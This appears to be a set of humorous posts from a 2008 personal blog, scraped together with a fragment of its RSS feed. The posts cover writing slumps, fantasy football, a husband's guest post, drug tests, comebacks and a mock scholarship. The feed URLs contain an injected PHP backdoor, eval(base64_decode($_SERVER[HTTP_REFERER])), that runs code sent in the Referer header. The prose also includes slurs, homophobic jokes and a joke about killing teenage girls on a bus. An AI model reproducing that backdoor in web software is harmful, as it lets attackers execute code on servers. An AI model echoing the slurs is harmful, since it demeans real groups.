And trust me, this blog means a lot to me. It may not seem like that’s the case, but it’s true. The problem is that I fall into different slumps and it’s really really hard to get out of them.

You know how you write something and you think it’s crap, but then someone else reads it and they love it? That’s how I feel about this blog and pretty much everything I write in general. I write and write and write and edit and edit and edit… until I feel it’s less like pure shite and more like a bad smell in the room. The latter obviously being a step up. Now I love compliments and aside from the fact I have no idea how to take them – other than responding with a light twist of self-deprecation – I’m not saying all this in the hopes you issue forth kind words. I’m saying this because it’s the truth… plain and simple.

Which leads me to reveal…

I’ve decided to seriously try my hand at writing. Which is the main reason I’ve been MIA in the blogosphere. For now I’m sticking with short stories, but there are a few book ideas floating around. I know what you’re thinking: who DOESN’T want to be a writer? But for me, this is more of a personal thing rather than a “I really think I have a chance in hell of getting published” kinda thing. The main goal is to finish something. Anything. Often times while I’m driving, I’ll have an idea so awesome it’s amazing my head didn’t explode from thinking it. Usually I come home, sit in front of the computer and let my fingers do the talking. But something always happens. The momentum eventually slows, and I’m left with a great start, a ‘meh’ middle, and no ending in sight. Frustrating to say the least. So what exactly am I supposed to do? What do you do when suddenly the connection you had to the material packs its bag and leaves you for someone else? And what does it mean? Am I lazy? (unlike the other questions, this one is rhetorical) or…. is it just the mind of an amateur at work? Does it get easier the more I do it? Am I rushing things?

Anywho, let’s move on.

It has come to my attention how much I hate ‘random dance numbers’ in films. It’s not that what they are doing isn’t entertaining… it’s that logically it makes no sense that the people involved would know the right steps to whatever ‘number’ they are performing. If a guy walks into a train station and starts gettin down, what are the chances people around him would join in? And even better… why would they join in? How would they know the right moves? No one thinks it’s weird that a group of people who’ve never met one another would miraculously perform a flawless dance sequence? Seriously, this is worth thinking about. The only way this would be possible (and this is a stretch) is if there was some secret dance society that recruited people and taught them a certain number of routines. This way, whenever they found themselves in a public place where dance could break out any second, they wouldn’t hesitate to “shake what their momma gave them”.

Seriously, all I’m asking for is a little context.

But as awesome as a secret dance society sounds, I can’t help but wonder why no one thought to invite me to join. I like… to dance. Aside from the fact I have absolutely no rhythm, I think effort should count for something. So I miss a few beats here and there – and step on some toes… so what? Is this really cause enough to leave me out? Apparently so since I have yet to receive any envelopes with mysterious writing. Okay, that’s not true entirely. I HAVE received at least one envelope with mysterious writing, but I’m sure it’s from the peeping Tom in the apartment building across from ours. He likes to stare at us a lot, and I figure he’s just extending the branch of friendship by giving us a Christmas card.

I hope you guys enjoy the coming holidays. I have big plans for this site come 2009… plans involving actually updating. I had better end here before I give away anything else.

Sorry Jan, I honestly didn’t know.

There have been some ghastly rumors going around I feel I need to address. Let this post serve as one that separates FACT from FICTION.

FICTION: JillianApproved has decided to close up shop.

This is not true. Now mind you, I could have been the one to start such a rumor… but I’m setting the record (and myself) straight. It’s not happening. Yeah yeah, I know it says I update twice a week and those of you who visit regularly know it’s a damn lie. That will change. See, I learned something: you can’t put creativity on a fucking schedule. That shit flows whenever it flows and you just need to be there to catch it. Needless to say my cup hasn’t runneth over in quite a while. So no more schedule, no more deadlines, and no more feeling bad about not updating when I said I would. From now on, it happens WHEN it happens.

Consider this the beginning of a new era. You’re welcome.

FACT: My Fantasy Football team sucks more than a crack-whore in a dark alley.

You know what? I can admit that shit. So I drafted bad. Whatever. Who knew Carson Palmer was going to be the pile of shit on an otherwise delicious plate of would-be victory? Who knew Chad Ocho Cinco would, thus far, be such a non-factor? Who knew Derek Anderson would have such a shitty start to the season? Apparently everyone but me. And to think, there I was on draft day confidently picking players I just knew were going to tear it up. I have only myself to blame as I head into Week 4 with 3 straight losses.

Worst. Fantasy. Season. Ever.

FICTION: Teenage girls have anything remotely relevant to talk about.

They don’t. Or maybe they do. I mean I really shouldn’t judge, in fact maybe I should give them the benefit of the doubt. Perhaps it’s just the girls on my bus that are mindless chatterboxes going on and on about shit that would make me kill myself if I HAD to listen to it longer than I currently do. I’m sure elsewhere in this vast and beautiful universe there are tons of teenage girlies that enjoy stimulating conversation wherein boys, MySpace, or “hotness” is never mentioned. That’s possible… right?

But maybe you need a sample of the high-pitched drivel I speak of: (Names have been changed because I don’t care enough to learn their real ones)

Sasha: Omigog! Omigod! Omigod! I saw Aaron today! He is sooooooo cute!

Gina: (emits a sickening squeal) I know, right??! He IS SOOOOOO cute!

Terri: Aaron? Is he the cute one???!!

Sasha and Gina: YES!!!! We think he is sooooo cute!

Terri: Omigod!!!! I think he is soooooo cute, too!!!!!!!

So yeah… these girls need to shut the fuck up. I doubt they will ever know how lucky they are I don’t just drive the bus right into the center divider. Just the thought of their motionless bodies and the blessed quiet that would follow… No one could blame me, better yet, no one SHOULD blame me.

FACT: This blog is called “JillianApproved: Humor, News, and Nonsense” but has never done anything news-related to date.

This is true. I have more fun doing the nonsense part to be honest. But, I have come across several news stories that I thought were funny, or interesting, or worth mentioning for various reasons. Just recently I heard about a guy in Baltimore who is suing a doctor for stapling his rectum shut causing him to go 17 days without taking a dump.

Hahahaha. Seriously.

I would write more on the story, but the article I found was funny all by itself: – Take special note of the quote they get from the victim’s attorney.

Man sues Md. doctor, says butt stapled shut

]]> http://www.jillianapproved.com/2008/09/27/this-aint-a-motherfuckin-comeback/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 22 http://www.jillianapproved.com/2008/07/17/jan-approved/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.jillianapproved.com/2008/07/17/jan-approved/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 17 Jul 2008 13:52:03 +0000 Jillian http://www.jillianapproved.com/?p=126 Hello, all. My name is Jan, AKA The H. You know, Jill’s husband. I know the site’s been dormant and Jill’s missed a few posting deadlines, but rest assured she’s not dead, just busy. And lazy. Don’t worry, the site’s not going anywhere, and Jill will get back on schedule soon. OR ELSE NO DINNER!

Anyway, she’s been after me for awhile to do some sort of “guest post”, which is just a nice way of saying “do my work for me”. So, here goes. I’m pretty rusty at this sort of thing -I haven’t done any real blogging for about 3 years.

I was a bit conflicted on what to write, to be honest -I dig the “Approved, Disapproved” gimmick Jill’s been working, but I couldn’t decide which way to go. So, in the grand American tradition of excess, I’ll do one of each.

JAN APPROVES OF: SWEATPANTS

Sweatpants are freaking Awesome. They don’t judge you like jeans…they’re supportive. “Hey, put on a few pounds? Don’t worry, happens to all of us. Just let that drawstring out a little and we still fit just fine!” Meanwhile, those uppity blue jeans refuse to mold to your expanding girth. And frankly, few items of clothing have greater capacity for comfort. Hell, I’ve got a pair of blue Adidas sweats that, in this house, are referred to only as The World’s Most Comfortable Sweats. To call them anything else would demean their remarkable facility.

Sweatpants are versatile as well. Maybe you’re lounging around the house, perhaps trying to watch the Angel game, when the wife demands -in a shrill voice -that you fetch her something from some store or another, you’re not sure because you stopped listening? As long as your sweats are halfway decent, you can just stroll right on out. A good looking pair of sweats is socially acceptable attire anywhere from “hangin’ with the homies” to “dinner at semi-casual restaurant“. Don’t let anyone tell you your sweats are “inappropriate”! I say rock those fucking wonder pants! Truly, the apparel of the gods.

JAN DISAPPROVES OF: TEENAGERS

Teenagers suck. It’s just a universal truth. It’s kind of remarkable, really -the suckitude of teens cuts across racial, socio-economic, cultural and and religious lines. Teenagers today are just fucking insufferable to be around, especially when you’ve had the bloody common sense to not have any kids and yet you’re forced to deal with other people’s demon spawn. They’re like another species; they speak some incomprehensible yet truly retarded language, they wear shit Amy Winehouse would be ashamed of( have you seen the fucking BOOTS they’re wearing now? When did He-Man replica apparel become chic?), and they appear to be utterly oblivious to just how infuriating much of their public behavior is. And the ones who are aware think its cool. Fucking little pubescant bastards. I weep for our future if these geniuses are in charge of it.

Well, I think that’s enough from me. I’ll make sure Jill gets back to unleashing the funny onto the unsuspecting interweb soon, I promise.

Until next time.

Sure, the company I’ll be working for needs to know I’m not a crackhead, but I just wish there was a less awkward way to go about it. Whenever I’m handing the tester my cup of urine, I always feel like I should apologize or try my hand at small talk to break the mood. Maybe something like, “Don’t spill” or “It’s nice and fresh just like nature intended.” You know, anything to distract from what’s going on.

And what thoughts are swirling in the person’s mind as they accept my cup of warm liquid waste? Is this really the job they signed up for, or is it just a small part of their regular duties? Whenever they know someone is there for a drug test, do they cringe a little inside? There is no way I could keep my face impassive while I transferred someone’s piss into little tubes scheduled for send off to some lab. I actually commend the people assigned this task, because they really do make it seem like it’s the most normal thing in the world. A person rains gold in a cup, hands it to them, and they take care of the rest. Nothing odd about that at all.

I usually feel like a criminal during the whole operation even though I have nothing worry about… unless they start asking strategic questions about my teenage years. But really, there is just something strange about someone waiting outside the bathroom while I’m inside squatting over a toilet holding a cup. It does a really good job of making me feel dirty, and outside of the bedroom, that’s not cool.

So yeah, I can get down with gay marriage and even the people that like to suffocate themselves before orgasm. But having someone thank me for my steaming cup of fresh piss is weird.

Hi. My name is Jillian. We met briefly when I turned 18, but haven’t had much contact since. I’ve heard a lot about you, and not all of it good. Some people say you suck the fun out of everything and require people to be serious all the time, but I’m sure that’s just gossip. Surely you can’t be all bad. I mean it’s because of you I got to vote and buy my first pack of cigarettes. And later, when I turned 21, I’m told it’s you that made it OK for me to finally buy alcohol. This was good because I was tired of getting people to buy booze for me. So thanks for that.

But I didn’t write this letter just to express gratitude. I want to make a few requests. First off, can you please make it OK for “one of the X-men” to be an acceptable answer when people ask, “Where do you see yourself in 5 years?”? I don’t understand why I get such odd looks, and I am tired of the attitude that comes with them. It’s a perfectly reasonable goal. Also, what’s with the glances I get from reading comics in public? Am I not allowed to like cartoons anymore? Is there some magical age at which the things that entertain me should change? If there is, someone neglected to send me that memo. Some people read the Wall Street Journal with their morning coffee and some people like to crack open a trade paperback and read up on Marvel’s Ultimate Universe. ‘To each his own’ I say.

Lastly, I have some concerns regarding growing old. Is there any way I can avoid the whole ‘peeing and shittin myself’ thing? To be honest, those are things I am totally willing to pass on. Pissing the bed is one thing when you’re a kid, but as an adult it’s kinda embarrassing. Even though there is a market for adult diapers, I’d just prefer to never need such a thing. I mean really… adult diapers? There’s no way that’s right.

Additionally in my golden years, if it’s not too much trouble, I’d also like to avoid uncontrollable drooling or being one of those seniors that tells the same fucking stories over and over again. If you knew how many times I had to listen to some poor bastard get caught in a story cycle about that time they did that thing, you would understand why this is something I wish to avoid.

Anyways, I think this covers pretty much all I wanted to say.

I know you maintain a pretty busy schedule, so I really appreciate you taking the time to read this.

Your youthful associate,

Jillian

Being a fan of Seinfeld, anything to do with second-chance-responses (SCR) makes me think of the episode where George was insulted by a co-worker for eating too many shrimp. Long after the incident occurred, George thinks of the retaliatory Jerk Store line and spends the remaining part of the show trying to use it.

“Hey George the ocean called, they’re running out of shrimp!

“Oh yeah? Well the Jerk Store called, they’re running out of YOU!”

I too have had instances where a chance to show off my arsenal of biting insult and sarcasm was missed. I’m known for a few things, but none of them are the ability to think on my feet. With that said, I feel it’s high time I make peace with a few past scenarios:

The scene: My 8th grade teacher, who everyone thought was a lesbian, caught me in the hallway after classes had started. She was known for being a bitch and decided I was as good a target as any. She walked up to me and practically yelled: “Well??!! Don’t you have some place to be?!”

My original response was: “Uhhh… yeah.”

What I Should Have Said: “Don’t YOU have some carpet to munch?”

*****

The scene: So I had some problems with a few girls in Jr. High (my Awesomeness developed a little late in life). One Summer, after I dropped a lot of weight, I came back to school in some short shorts and a tank top (I fancied myself looking kinda good – *Ahem* and I DID). Anyway, these girls came up to me and had the nerve to say: “Wow, looks like someone finally bought some new clothes.”

My original response was: “Uhhh… yeah.” (it’s cool, go ahead and cringe)

What I Should Have Said: “And yet you guys didn’t buy new faces.”

*****

There. Much better.

Your turn!

• “Fuck THAT shit.” – I like this one because it takes a stand, sets a boundary. It draws a line. Once you hear me utter these words, you best believe whatever it is has been effectively killed.

Time Warner: Your cable bill is due.

Me: Man, fuck THAT shit.

• “Well that’s just great.” – A reply I use often, especially after receiving bad news of a sort.

Person X: Hey, it turns out your ex WAS gay. Oh, and now you have herpes.

Me: Well that’s just great.

• “It must be nice…” – I should say right now that YES, I’m a hater. I hate on stuff all the time. This phrase allows me to bitch about something, but sound cool and snarky (AND slightly superior) while I’m doing it. It pretty much breaks the needle on the sarcasm meter.

Person X: Did you hear? Winston got a new car for his 16th birthday.

Me: Really? It must be nice to be a spoiled asshole. I mean he totally deserves it, it’s not everyday you’re rewarded for pulling down straight C’s.

• “Woooow.” – This gets busted out when I have to express disdain for something stupid or ridiculous someone has said or done. If it’s a person I think should know better, I extend the O’s (Woooooooooow).

Person X: …so I called him 13 MORE times, then drove over to his house and waited until I saw him. It’s just doesn’t make any sense, why wouldn’t he ask me out for a second date?

Me: Woooow.

Am I the only one who relies on a proven selection of sarcastic goodness?

*****

Snarky is such a fun word, more people should use it.

If Jan and I ever have a daughter, it’s almost guaranteed she’ll have some big ole titties. There is just no avoiding it. My family is full of chocolate ladies who are not only buxom, but also attractive. Our family photos are a testament to our legacy of Double D’s. As a kid, I thought all girls grew to our level. It wasn’t until I was forced to change clothes for 7th grade gym, I knew any different. Imagine my surprise seeing girls still flat-chested! I thought maybe they didn’t get enough milk or something, and were now relegated to a life of paying for parking. It turns out the women of Jan’s family are just as endowed as my own. When we visited Sacramento and shamefully did the Chicken Dance, I bore witness to the strong genes running through his peeps. No mosquito bites there, just a nice sea of ripe cantaloupes.

Now I’m no artist like Claire or Laura, so don’t go expecting genius. But Jan and I might have female offspring that look something like this:

Yeah, that looks about right.

*****

Some people say more than a handful is a waste.

So I’m taking it upon myself to create a scholarship for the “everyman”, you know, for people like me. This scholarship won’t rely on silly things like grades or extracurricular activities (and honestly, who gives a fuck if you helped plant trees for the illiterate half-dead village of Hiugeogewo? I certainly don’t.)

Take note all you who have money to burn and are looking to invest it in a good cause, for I present:

The “Get Ya Learn On” Scholarship: For De-motivated Students

Prizes: 1st place: $50,000; 2nd place: $20,000; 3rd place: $10,000

Requirements: All students who apply for the “Get Ya Learn On” Scholarship must plan on attending a 4-year accredited college or university and maybe showing up for most of their classes ( If you were accepted into an Ivy League school, don’t bother applying for “Get Ya Learn On”. If you’re smart enough to get into one of those fine ‘institutions’, then you don’t need our money and shame on you for wasting our time. Don’t be ‘that guy’). Students carrying less than a 3.0 Grade Point Average will be considered as will students who display a mild interest in bettering themselves.

Rules: Students can choose to write a 1,000 word essay on one of the following (but if you can get to the point sooner, that would be great. We all have shit to do):

1. Reasons why ‘procrastination’ should be referred to as ‘working better under pressure’.

2. Why copying homework should be considered “working smarter, not harder”.

3. Reasons why Captain Planet is gay as fuck and having power of “Heart” is completely useless.

4. The continued effectiveness of ‘Yo Mama’ as an insult.

5. Does Political efficacy still exist in America? (Seriously, don’t pick this one)

Deadline: June 15. Selected candidates will be notified sometime before the Fall semester. If you don’t hear anything from us, you obviously didn’t win. Please don’t call or write as that would put us in the awkward position of telling you that YOU SUCK. And while that might be true, we don’t want to be responsible for such a harsh realization at such a young age. But seriously, we will more than likely notify winning students during the month of August. Yeah, that sounds about right.

What are you waiting for? APPLY NOW!

Please note: This is not a real scholarship… yet. Don’t send me emails asking for contact information, because it’s NOT REAL. If this little bit of text is completely disregarded, all emails received about the scholarship will get posted and many laughs will be had at your expense.